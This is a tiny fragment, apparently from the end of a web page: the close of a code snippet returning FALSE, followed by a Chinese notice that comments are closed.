  return FALSE;
  }

抱歉!评论已关闭.